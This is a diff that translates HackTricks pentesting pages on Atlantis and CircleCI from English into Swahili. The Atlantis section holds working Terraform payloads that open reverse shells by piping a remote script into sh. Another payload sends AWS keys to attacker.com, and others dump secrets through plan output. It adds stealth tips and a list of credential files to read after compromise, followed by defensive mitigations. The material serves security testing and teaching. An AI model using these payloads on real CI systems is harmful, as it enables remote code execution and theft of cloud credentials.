var**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables) +- Unaweza kupata [**hapa orodha ya bendera**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) zinazosaidiwa na seva ya Atlantis +- Unaweza kupata [**hapa jinsi ya kubadilisha chaguo la usanidi kuwa mabadiliko ya mazingira**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables) -Values are **chosen in this order**: +Thamani zinachaguliwa **katika mpangilio huu**: -1. Flags -2. Environment Variables -3. Config File +1. Bendera +2. Mabadiliko ya Mazingira +3. Faili ya Usanidi > [!WARNING] -> Note that in the configuration you might find interesting values such as **tokens and passwords**. +> Kumbuka kwamba katika usanidi unaweza kupata thamani za kuvutia kama **tokens na nywila**. #### Repos Configuration -Some configurations affects **how the repos are managed**. However, it's possible that **each repo require different settings**, so there are ways to specify each repo. This is the priority order: +Mikakati fulani inaathiri **jinsi repos inavyosimamiwa**. Hata hivyo, inawezekana kwamba **kila repo inahitaji mipangilio tofauti**, hivyo kuna njia za kuainisha kila repo. Hii ndiyo kipaumbele: -1. Repo [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config) file. This file can be used to specify how atlantis should treat the repo. However, by default some keys cannot be specified here without some flags allowing it. - 1. Probably required to be allowed by flags like `allowed_overrides` or `allow_custom_workflows` -2. [**Server Side Config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): You can pass it with the flag `--repo-config` and it's a yaml configuring new settings for each repo (regexes supported) -3. **Default** values +1. Repo [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config) faili. Faili hii inaweza kutumika kuainisha jinsi atlantis inavyopaswa kutenda kwa repo. Hata hivyo, kwa kawaida funguo fulani haziwezi kuainishwa hapa bila bendera fulani zinazoruhusu. +1. Huenda ikahitajika kuruhusiwa na bendera kama `allowed_overrides` au `allow_custom_workflows` +2. [**Server Side Config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): Unaweza kuipitia na bendera `--repo-config` na ni yaml inayopanga mipangilio mipya kwa kila repo (regexes zinasaidiwa) +3. **Thamani za Kawaida** **PR Protections** -Atlantis allows to indicate if you want the **PR** to be **`approved`** by somebody else (even if that isn't set in the branch protection) and/or be **`mergeable`** (branch protections passed) **before running apply**. From a security point of view, to set both options a recommended. +Atlantis inaruhusu kuashiria ikiwa unataka **PR** kuidhinishwa na mtu mwingine (hata kama hiyo haijakubaliwa katika ulinzi wa tawi) na/au kuwa **`mergeable`** (ulinzi wa tawi umepita) **kabla ya kuendesha apply**. Kutoka kwa mtazamo wa usalama, kuweka chaguo zote mbili ni mapendekezo. -In case `allowed_overrides` is True, these setting can be **overwritten on each project by the `/atlantis.yml` file**. +Katika kesi `allowed_overrides` ni Kweli, mipangilio hii inaweza **kufutwa kwenye kila mradi na faili ya `/atlantis.yml`**. **Scripts** -The repo config can **specify scripts** to run [**before**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_pre workflow hooks_) and [**after**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_post workflow hooks_) a **workflow is executed.** +Usanidi wa repo unaweza **kuainisha scripts** za kuendesha [**kabla**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_pre workflow hooks_) na [**baada**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_post workflow hooks_) **workflow inatekelezwa.** -There isn't any option to allow **specifying** these scripts in the **repo `/atlantis.yml`** file. +Hakuna chaguo la kuruhusu **kuainisha** scripts hizi katika **repo `/atlantis.yml`** faili. **Workflow** -In the repo config (server side config) you can [**specify a new default workflow**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow), or [**create new custom workflows**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** You can also **specify** which **repos** can **access** the **new** ones generated.\ -Then, you can allow the **atlantis.yaml** file of each repo to **specify the workflow to use.** +Katika usanidi wa repo (usanidi wa upande wa seva) unaweza [**kuainisha workflow mpya ya kawaida**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow), au [**kuunda workflows mpya za kawaida**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** Unaweza pia **kuainisha** ni **repos** zipi zinaweza **kufikia** zile **mpya** zilizoundwa.\ +Kisha, unaweza kuruhusu faili ya **atlantis.yaml** ya kila repo ku **ainisha workflow ya kutumia.** > [!CAUTION] -> If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allow_custom_workflows` is set to **True**, workflows can be **specified** in the **`atlantis.yaml`** file of each repo. It's also potentially needed that **`allowed_overrides`** specifies also **`workflow`** to **override the workflow** that is going to be used.\ -> This will basically give **RCE in the Atlantis server to any user that can access that repo**. +> Ikiwa bendera [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allow_custom_workflows` imewekwa kuwa **Kweli**, workflows zinaweza **kuainishwa** katika faili ya **`atlantis.yaml`** ya kila repo. Pia inaweza kuwa muhimu kwamba **`allowed_overrides`** pia inasisitiza **`workflow`** ili **kufuta workflow** ambayo itatumika.\ +> Hii itatoa **RCE katika seva ya Atlantis kwa mtumiaji yeyote anayeweza kufikia repo hiyo**. > > ```yaml > # atlantis.yaml @@ -126,19 +126,18 @@ Then, you can allow the **atlantis.yaml** file of each repo to **specify the wor **Conftest Policy Checking** -Atlantis supports running **server-side** [**conftest**](https://www.conftest.dev/) **policies** against the plan output. Common usecases for using this step include: +Atlantis inasaidia kuendesha **server-side** [**conftest**](https://www.conftest.dev/) **policies** dhidi ya matokeo ya mpango. Matumizi ya kawaida ya hatua hii ni pamoja na: -- Denying usage of a list of modules -- Asserting attributes of a resource at creation time -- Catching unintentional resource deletions -- Preventing security risks (ie. exposing secure ports to the public) +- Kukataa matumizi ya orodha ya moduli +- Kuashiria sifa za rasilimali wakati wa kuunda +- Kukamata kufutwa kwa rasilimali zisizokusudiwa +- Kuzuia hatari za usalama (yaani, kufichua bandari salama kwa umma) -You can check how to configure it in [**the docs**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works). +Unaweza kuangalia jinsi ya kuipanga katika [**nyaraka**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works). ### Atlantis Commands -[**In the docs**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) you can find the options you can use to run Atlantis: - +[**Katika nyaraka**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) unaweza kupata chaguzi unazoweza kutumia kuendesha Atlantis: ```bash # Get help atlantis help @@ -161,94 +160,82 @@ atlantis apply [options] -- [terraform apply flags] ## --verbose ## You can also add extra terraform options ``` - ### Attacks > [!WARNING] -> If during the exploitation you find this **error**: `Error: Error acquiring the state lock` - -You can fix it by running: +> Ikiwa wakati wa unyakuzi unakutana na **kosa** hili: `Error: Error acquiring the state lock` +Unaweza kulitatua kwa kukimbia: ``` atlantis unlock #You might need to run this in a different PR atlantis plan -- -lock=false ``` +#### Atlantis plan RCE - Mabadiliko ya usanidi katika PR mpya -#### Atlantis plan RCE - Config modification in new PR - -If you have write access over a repository you will be able to create a new branch on it and generate a PR. If you can **execute `atlantis plan`** (or maybe it's automatically executed) **you will be able to RCE inside the Atlantis server**. - -You can do this by making [**Atlantis load an external data source**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source). Just put a payload like the following in the `main.tf` file: +Ikiwa una ruhusa ya kuandika juu ya hifadhi, utaweza kuunda tawi jipya ndani yake na kuunda PR. Ikiwa unaweza **kutekeleza `atlantis plan`** (au labda inatekelezwa kiotomatiki) **utaweza kufanya RCE ndani ya seva ya Atlantis**. +Unaweza kufanya hivi kwa kufanya [**Atlantis ipokee chanzo cha data cha nje**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source). Weka tu payload kama ifuatavyo katika faili ya `main.tf`: ```json data "external" "example" { - program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"] +program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"] } ``` +**Shambulio la Siri** -**Stealthier Attack** - -You can perform this attack even in a **stealthier way**, by following this suggestions: - -- Instead of adding the rev shell directly into the terraform file, you can **load an external resource** that contains the rev shell: +Unaweza kufanya shambulio hili hata kwa njia **ya siri zaidi**, kwa kufuata mapendekezo haya: +- Badala ya kuongeza rev shell moja kwa moja kwenye faili ya terraform, unaweza **kupakia rasilimali ya nje** ambayo ina rev shell: ```javascript module "not_rev_shell" { - source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules" +source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules" } ``` - You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) -- In the external resource, use the **ref** feature to hide the **terraform rev shell code in a branch** inside of the repo, something like: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` -- **Instead** of creating a **PR to master** to trigger Atlantis, **create 2 branches** (test1 and test2) and create a **PR from one to the other**. When you have completed the attack, just **remove the PR and the branches**. +- Katika rasilimali ya nje, tumia kipengele cha **ref** kuficha **kodi ya rev shell ya terraform katika tawi** ndani ya repo, kitu kama: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` +- **Badala** ya kuunda **PR kwa master** ili kuanzisha Atlantis, **unda matawi 2** (test1 na test2) na uunde **PR kutoka moja hadi nyingine**. Unapokamilisha shambulio, tu **ondoa PR na matawi**. #### Atlantis plan Secrets Dump -You can **dump secrets used by terraform** running `atlantis plan` (`terraform plan`) by putting something like this in the terraform file: - +Unaweza **dump secrets zinazotumiwa na terraform** ukikimbia `atlantis plan` (`terraform plan`) kwa kuweka kitu kama hiki katika faili la terraform: ```json output "dotoken" { - value = nonsensitive(var.do_token) +value = nonsensitive(var.do_token) } ``` +#### Atlantis apply RCE - Mabadiliko ya usanidi katika PR mpya -#### Atlantis apply RCE - Config modification in new PR +Ikiwa una ruhusa ya kuandika juu ya hifadhi, utaweza kuunda tawi jipya na kuzalisha PR. Ikiwa unaweza **kufanya `atlantis apply` utaweza RCE ndani ya seva ya Atlantis**. -If you have write access over a repository you will be able to create a new branch on it and generate a PR. If you can **execute `atlantis apply` you will be able to RCE inside the Atlantis server**. +Hata hivyo, kwa kawaida utahitaji kupita baadhi ya ulinzi: -However, you will usually need to bypass some protections: - -- **Mergeable**: If this protection is set in Atlantis, you can only run **`atlantis apply` if the PR is mergeable** (which means that the branch protection need to be bypassed). - - Check potential [**branch protections bypasses**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md) -- **Approved**: If this protection is set in Atlantis, some **other user must approve the PR** before you can run `atlantis apply` - - By default you can abuse the [**Gitbot token to bypass this protection**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md) - -Running **`terraform apply` on a malicious Terraform file with** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\ -You just need to make sure some payload like the following ones ends in the `main.tf` file: +- **Inayoweza kuunganishwa**: Ikiwa ulinzi huu umewekwa katika Atlantis, unaweza tu kufanya **`atlantis apply` ikiwa PR inaweza kuunganishwa** (hii inamaanisha kuwa ulinzi wa tawi unahitaji kupitishwa). +- Angalia [**kupita kwa ulinzi wa tawi**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md) +- **Imeidhinishwa**: Ikiwa ulinzi huu umewekwa katika Atlantis, **mtumiaji mwingine lazima aidhinishe PR** kabla hujaweza kufanya `atlantis apply` +- Kwa kawaida unaweza kutumia [**token ya Gitbot kupita ulinzi huu**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md) +Kufanya **`terraform apply` kwenye faili ya Terraform yenye nia mbaya na** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\ +Unahitaji tu kuhakikisha kuwa payload kama hizi zinaishia kwenye faili ya `main.tf`: ```json // Payload 1 to just steal a secret resource "null_resource" "secret_stealer" { - provisioner "local-exec" { - command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY" - } +provisioner "local-exec" { +command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY" +} } // Payload 2 to get a rev shell resource "null_resource" "rev_shell" { - provisioner "local-exec" { - command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'" - } +provisioner "local-exec" { +command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'" +} } ``` - -Follow the **suggestions from the previous technique** the perform this attack in a **stealthier way**. +Fuata **mapendekezo kutoka kwa mbinu ya awali** ili kufanikisha shambulio hili kwa **njia ya siri**. #### Terraform Param Injection -When running `atlantis plan` or `atlantis apply` terraform is being run under-needs, you can pass commands to terraform from atlantis commenting something like: - +Wakati wa kuendesha `atlantis plan` au `atlantis apply`, terraform inatekelezwa chini, unaweza kupitisha amri kwa terraform kutoka atlantis kwa kuandika kitu kama: ```bash atlantis plan -- atlantis plan -- -h #Get terraform plan help @@ -256,7 +243,6 @@ atlantis plan -- -h #Get terraform plan help atlantis apply -- atlantis apply -- -h #Get terraform apply help ``` - Something you can pass are env variables which might be helpful to bypass some protections. Check terraform env vars in [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables) #### Custom Workflow @@ -289,96 +275,94 @@ This possibility was mentioned in a previous section: #### Bypass plan/apply protections If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allowed_overrides` _has_ `apply_requirements` configured, it's possible for a repo to **modify the plan/apply protections to bypass them**. - ```yaml repos: - - id: /.*/ - apply_requirements: [] +- id: /.*/ +apply_requirements: [] ``` - #### PR Hijacking -If someone sends **`atlantis plan/apply` comments on your valid pull requests,** it will cause terraform to run when you don't want it to. +Ikiwa mtu atatuma **`atlantis plan/apply` maoni kwenye ombi lako halali la kuvuta,** itasababisha terraform kuendesha wakati hutaki. -Moreover, if you don't have configured in the **branch protection** to ask to **reevaluate** every PR when a **new commit is pushed** to it, someone could **write malicious configs** (check previous scenarios) in the terraform config, run `atlantis plan/apply` and gain RCE. +Zaidi ya hayo, ikiwa huna mipangilio katika **branch protection** ya kuomba **kuangalia upya** kila PR wakati **commit mpya inatolewa** kwake, mtu anaweza **kuandika mipangilio ya uharibifu** (angalia hali za awali) katika mipangilio ya terraform, kuendesha `atlantis plan/apply` na kupata RCE. -This is the **setting** in Github branch protections: +Hii ni **mipangilio** katika ulinzi wa matawi ya Github: ![](<../images/image (216).png>) #### Webhook Secret -If you manage to **steal the webhook secret** used or if there **isn't any webhook secret** being used, you could **call the Atlantis webhook** and **invoke atlatis commands** directly. +Ikiwa umeweza **kuiiba webhook secret** inayotumika au ikiwa **hakuna webhook secret** inayotumika, unaweza **kuita webhook ya Atlantis** na **kuitisha amri za atlantis** moja kwa moja. #### Bitbucket -Bitbucket Cloud does **not support webhook secrets**. This could allow attackers to **spoof requests from Bitbucket**. Ensure you are allowing only Bitbucket IPs. +Bitbucket Cloud haifai **webhook secrets**. Hii inaweza kuruhusu washambuliaji **kuiga maombi kutoka Bitbucket**. Hakikisha unaruhusu tu IP za Bitbucket. -- This means that an **attacker** could make **fake requests to Atlantis** that look like they're coming from Bitbucket. -- If you are specifying `--repo-allowlist` then they could only fake requests pertaining to those repos so the most damage they could do would be to plan/apply on your own repos. -- To prevent this, allowlist [Bitbucket's IP addresses](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) (see Outbound IPv4 addresses). +- Hii inamaanisha kwamba **mshambuliaji** anaweza kufanya **maombi ya uongo kwa Atlantis** ambayo yanaonekana kana kwamba yanatoka Bitbucket. +- Ikiwa unataja `--repo-allowlist` basi wanaweza tu kuiga maombi yanayohusiana na hizo repos hivyo uharibifu mkubwa wanaoweza kufanya ni kupanga/kutumia kwenye repos zako. +- Ili kuzuia hili, ruhusu [anwani za IP za Bitbucket](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) (angalia Anwani za IPv4 za Nje). ### Post-Exploitation -If you managed to get access to the server or at least you got a LFI there are some interesting things you should try to read: +Ikiwa umeweza kupata ufikiaji wa seva au angalau umepata LFI kuna mambo ya kuvutia unapaswa kujaribu kusoma: -- `/home/atlantis/.git-credentials` Contains vcs access credentials -- `/atlantis-data/atlantis.db` Contains vcs access credentials with more info -- `/atlantis-data/repos/`_`/`_`////.terraform/terraform.tfstate` Terraform stated file - - Example: /atlantis-data/repos/ghOrg\_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate -- `/proc/1/environ` Env variables -- `/proc/[2-20]/cmdline` Cmd line of `atlantis server` (may contain sensitive data) +- `/home/atlantis/.git-credentials` Inashikilia akreditif za ufikiaji wa vcs +- `/atlantis-data/atlantis.db` Inashikilia akreditif za ufikiaji wa vcs na maelezo zaidi +- `/atlantis-data/repos/`_`/`_`////.terraform/terraform.tfstate` Faili ya hali ya terraform +- Mfano: /atlantis-data/repos/ghOrg\_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate +- `/proc/1/environ` Mabadiliko ya mazingira +- `/proc/[2-20]/cmdline` Cmd line ya `atlantis server` (inaweza kuwa na data nyeti) ### Mitigations -#### Don't Use On Public Repos +#### Usitumie Kwenye Repos za Umma -Because anyone can comment on public pull requests, even with all the security mitigations available, it's still dangerous to run Atlantis on public repos without proper configuration of the security settings. +Kwa sababu mtu yeyote anaweza kutoa maoni kwenye ombi za kuvuta za umma, hata na mipango yote ya usalama iliyopo, bado ni hatari kuendesha Atlantis kwenye repos za umma bila mipangilio sahihi ya mipangilio ya usalama. -#### Don't Use `--allow-fork-prs` +#### Usitumie `--allow-fork-prs` -If you're running on a public repo (which isn't recommended, see above) you shouldn't set `--allow-fork-prs` (defaults to false) because anyone can open up a pull request from their fork to your repo. +Ikiwa unafanya kazi kwenye repo ya umma (ambayo haitashauriwa, angalia hapo juu) huwezi kuweka `--allow-fork-prs` (inarejelea kuwa si kweli) kwa sababu mtu yeyote anaweza kufungua ombi la kuvuta kutoka kwa fork yao hadi repo yako. #### `--repo-allowlist` -Atlantis requires you to specify a allowlist of repositories it will accept webhooks from via the `--repo-allowlist` flag. For example: +Atlantis inahitaji uweze kutaja orodha ya ruhusa ya repos itakazokubali webhooks kutoka kupitia bendera ya `--repo-allowlist`. Kwa mfano: -- Specific repositories: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests` -- Your whole organization: `--repo-allowlist=github.com/runatlantis/*` -- Every repository in your GitHub Enterprise install: `--repo-allowlist=github.yourcompany.com/*` -- All repositories: `--repo-allowlist=*`. Useful for when you're in a protected network but dangerous without also setting a webhook secret. +- Repos maalum: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests` +- Shirika lako lote: `--repo-allowlist=github.com/runatlantis/*` +- Kila repo katika usakinishaji wako wa GitHub Enterprise: `--repo-allowlist=github.yourcompany.com/*` +- Repos zote: `--repo-allowlist=*`. Inatumika wakati uko kwenye mtandao uliohifadhiwa lakini hatari bila pia kuweka webhook secret. -This flag ensures your Atlantis install isn't being used with repositories you don't control. See `atlantis server --help` for more details. +Bendera hii inahakikisha usakinishaji wako wa Atlantis haujatumika na repos usizodhibiti. Angalia `atlantis server --help` kwa maelezo zaidi. -#### Protect Terraform Planning +#### Linda Mipango ya Terraform -If attackers submitting pull requests with malicious Terraform code is in your threat model then you must be aware that `terraform apply` approvals are not enough. It is possible to run malicious code in a `terraform plan` using the [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) or by specifying a malicious provider. This code could then exfiltrate your credentials. +Ikiwa washambuliaji wanawasilisha maombi ya kuvuta na msimbo wa uharibifu wa Terraform uko katika mfano wako wa tishio basi lazima uwe na ufahamu kwamba idhini za `terraform apply` hazitoshi. Inawezekana kuendesha msimbo wa uharibifu katika `terraform plan` kwa kutumia [chanzo cha data cha `external`](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) au kwa kutaja mtoa huduma wa uharibifu. Msimbo huu unaweza kisha kuhamasisha akreditif zako. -To prevent this, you could: +Ili kuzuia hili, unaweza: -1. Bake providers into the Atlantis image or host and deny egress in production. -2. Implement the provider registry protocol internally and deny public egress, that way you control who has write access to the registry. -3. Modify your [server-side repo configuration](https://www.runatlantis.io/docs/server-side-repo-config.html)'s `plan` step to validate against the use of disallowed providers or data sources or PRs from not allowed users. You could also add in extra validation at this point, e.g. requiring a "thumbs-up" on the PR before allowing the `plan` to continue. Conftest could be of use here. +1. Kuunda mtoa huduma ndani ya picha ya Atlantis au mwenyeji na kukataa egress katika uzalishaji. +2. Tekeleza itifaki ya rejista ya mtoa huduma ndani na kukataa egress ya umma, kwa njia hiyo unadhibiti nani ana ufikiaji wa kuandika kwenye rejista. +3. Badilisha [mipangilio ya repo upande wa seva](https://www.runatlantis.io/docs/server-side-repo-config.html)'s hatua ya `plan` ili kuthibitisha dhidi ya matumizi ya watoa huduma au vyanzo vya data vilivyokatazwa au PRs kutoka kwa watumiaji wasioruhusiwa. Unaweza pia kuongeza uthibitisho wa ziada katika hatua hii, kwa mfano, kuhitaji "thumbs-up" kwenye PR kabla ya kuruhusu `plan` kuendelea. Conftest inaweza kuwa ya manufaa hapa. #### Webhook Secrets -Atlantis should be run with Webhook secrets set via the `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET` environment variables. Even with the `--repo-allowlist` flag set, without a webhook secret, attackers could make requests to Atlantis posing as a repository that is allowlisted. Webhook secrets ensure that the webhook requests are actually coming from your VCS provider (GitHub or GitLab). +Atlantis inapaswa kuendeshwa na Webhook secrets zilizowekwa kupitia mabadiliko ya mazingira ya `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET`. Hata na bendera ya `--repo-allowlist` iliyowekwa, bila webhook secret, washambuliaji wanaweza kufanya maombi kwa Atlantis wakijifanya kama repo ambayo imeorodheshwa. Webhook secrets zinahakikisha kwamba maombi ya webhook yanatoka kwa mtoa huduma wako wa VCS (GitHub au GitLab). -If you are using Azure DevOps, instead of webhook secrets add a basic username and password. +Ikiwa unatumia Azure DevOps, badala ya webhook secrets ongeza jina la mtumiaji wa msingi na nenosiri. #### Azure DevOps Basic Authentication -Azure DevOps supports sending a basic authentication header in all webhook events. This requires using an HTTPS URL for your webhook location. +Azure DevOps inasaidia kutuma kichwa cha uthibitishaji wa msingi katika matukio yote ya webhook. Hii inahitaji kutumia URL ya HTTPS kwa eneo lako la webhook. #### SSL/HTTPS -If you're using webhook secrets but your traffic is over HTTP then the webhook secrets could be stolen. Enable SSL/HTTPS using the `--ssl-cert-file` and `--ssl-key-file` flags. +Ikiwa unatumia webhook secrets lakini trafiki yako iko juu ya HTTP basi webhook secrets zinaweza kuibiwa. Wezesha SSL/HTTPS kwa kutumia bendera za `--ssl-cert-file` na `--ssl-key-file`. -#### Enable Authentication on Atlantis Web Server +#### Wezesha Uthibitishaji kwenye Seva ya Mtandao ya Atlantis -It is very recommended to enable authentication in the web service. Enable BasicAuth using the `--web-basic-auth=true` and setup a username and a password using `--web-username=yourUsername` and `--web-password=yourPassword` flags. +Inashauriwa sana kuwezesha uthibitishaji katika huduma ya wavuti. Wezesha BasicAuth kwa kutumia `--web-basic-auth=true` na weka jina la mtumiaji na nenosiri kwa kutumia bendera za `--web-username=yourUsername` na `--web-password=yourPassword`. -You can also pass these as environment variables `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` and `ATLANTIS_WEB_PASSWORD=yourPassword`. +Unaweza pia kupitisha hizi kama mabadiliko ya mazingira `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` na `ATLANTIS_WEB_PASSWORD=yourPassword`. ### References @@ -386,7 +370,3 @@ You can also pass these as environment variables `ATLANTIS_WEB_BASIC_AUTH=true` - [**https://www.runatlantis.io/docs/provider-credentials.html**](https://www.runatlantis.io/docs/provider-credentials.html) {{#include ../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/circleci-security.md b/src/pentesting-ci-cd/circleci-security.md index 8b8a1fea1..fdb61bab0 100644 --- a/src/pentesting-ci-cd/circleci-security.md +++ b/src/pentesting-ci-cd/circleci-security.md @@ -4,256 +4,232 @@ ### Basic Information -[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) is a Continuos Integration platform where you can **define templates** indicating what you want it to do with some code and when to do it. This way you can **automate testing** or **deployments** directly **from your repo master branch** for example. +[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) ni jukwaa la Uunganishaji Endelevu ambapo unaweza **kufafanua mifano** inayoonyesha unachotaka ifanye na baadhi ya msimbo na lini ifanye hivyo. Kwa njia hii unaweza **kujiandaa kwa majaribio** au **kupeleka** moja kwa moja **kutoka kwa tawi kuu la repo yako** kwa mfano. ### Permissions -**CircleCI** **inherits the permissions** from github and bitbucket related to the **account** that logs in.\ -In my testing I checked that as long as you have **write permissions over the repo in github**, you are going to be able to **manage its project settings in CircleCI** (set new ssh keys, get project api keys, create new branches with new CircleCI configs...). +**CircleCI** **inapata ruhusa** kutoka github na bitbucket zinazohusiana na **akaunti** inayojiandikisha.\ +Katika majaribio yangu nilikagua kwamba kadri unavyo kuwa na **ruhusa za kuandika juu ya repo katika github**, utaweza **kusimamia mipangilio ya mradi wake katika CircleCI** (weka funguo mpya za ssh, pata funguo za api za mradi, tengeneza matawi mapya na mipangilio mipya ya CircleCI...). -However, you need to be a a **repo admin** in order to **convert the repo into a CircleCI project**. +Hata hivyo, unahitaji kuwa **admin wa repo** ili **kubadilisha repo kuwa mradi wa CircleCI**. ### Env Variables & Secrets -According to [**the docs**](https://circleci.com/docs/2.0/env-vars/) there are different ways to **load values in environment variables** inside a workflow. +Kulingana na [**nyaraka**](https://circleci.com/docs/2.0/env-vars/) kuna njia tofauti za **kupanua thamani katika mabadiliko ya mazingira** ndani ya mchakato. #### Built-in env variables -Every container run by CircleCI will always have [**specific env vars defined in the documentation**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) like `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` or `CIRCLE_USERNAME`. +Kila kontena linalotumiwa na CircleCI litakuwa na [**mabadiliko maalum ya mazingira yaliyofafanuliwa katika nyaraka**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) kama `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` au `CIRCLE_USERNAME`. #### Clear text -You can declare them in clear text inside a **command**: - +Unaweza kuyatangaza kwa maandiko wazi ndani ya **amri**: ```yaml - run: - name: "set and echo" - command: | - SECRET="A secret" - echo $SECRET +name: "set and echo" +command: | +SECRET="A secret" +echo $SECRET ``` - -You can declare them in clear text inside the **run environment**: - +Unaweza kutangaza hizo kwa maandiko wazi ndani ya **run environment**: ```yaml - run: - name: "set and echo" - command: echo $SECRET - environment: - SECRET: A secret +name: "set and echo" +command: echo $SECRET +environment: +SECRET: A secret ``` - -You can declare them in clear text inside the **build-job environment**: - +Unaweza kutangaza hizo kwa maandiko wazi ndani ya **build-job environment**: ```yaml jobs: - build-job: - docker: - - image: cimg/base:2020.01 - environment: - SECRET: A secret +build-job: +docker: +- image: cimg/base:2020.01 +environment: +SECRET: A secret ``` - -You can declare them in clear text inside the **environment of a container**: - +Unaweza kutangaza hizo kwa maandiko wazi ndani ya **mazingira ya kontena**: ```yaml jobs: - build-job: - docker: - - image: cimg/base:2020.01 - environment: - SECRET: A secret +build-job: +docker: +- image: cimg/base:2020.01 +environment: +SECRET: A secret ``` +#### Siri za Mradi -#### Project Secrets - -These are **secrets** that are only going to be **accessible** by the **project** (by **any branch**).\ -You can see them **declared in** _https://app.circleci.com/settings/project/github/\/\/environment-variables_ +Hizi ni **siri** ambazo zitakuwa **zinapatikana** tu na **mradi** (kwa **tawi lolote**).\ +Unaweza kuziona **zimeelezwa katika** _https://app.circleci.com/settings/project/github/\/\/environment-variables_ ![](<../images/image (129).png>) > [!CAUTION] -> The "**Import Variables**" functionality allows to **import variables from other projects** to this one. +> Kazi ya "**Kuagiza Vigezo**" inaruhusu **kuagiza vigezo kutoka miradi mingine** hadi hii. -#### Context Secrets +#### Siri za Muktadha -These are secrets that are **org wide**. By **default any repo** is going to be able to **access any secret** stored here: +Hizi ni siri ambazo ni **za shirika lote**. Kwa **kawaida kila repo** itakuwa na uwezo wa **kupata siri yoyote** iliyohifadhiwa hapa: ![](<../images/image (123).png>) > [!TIP] -> However, note that a different group (instead of All members) can be **selected to only give access to the secrets to specific people**.\ -> This is currently one of the best ways to **increase the security of the secrets**, to not allow everybody to access them but just some people. +> Hata hivyo, kumbuka kwamba kundi tofauti (badala ya Wanachama Wote) linaweza **kuchaguliwa ili kutoa ufaccessi wa siri kwa watu maalum**.\ +> Hii kwa sasa ni moja ya njia bora za **kuongeza usalama wa siri**, ili kuto ruhusu kila mtu kuzipata bali watu wachache tu. -### Attacks +### Mashambulizi -#### Search Clear Text Secrets +#### Tafuta Siri za Maandishi Safi -If you have **access to the VCS** (like github) check the file `.circleci/config.yml` of **each repo on each branch** and **search** for potential **clear text secrets** stored in there. +Ikiwa una **ufaccessi kwa VCS** (kama github) angalia faili 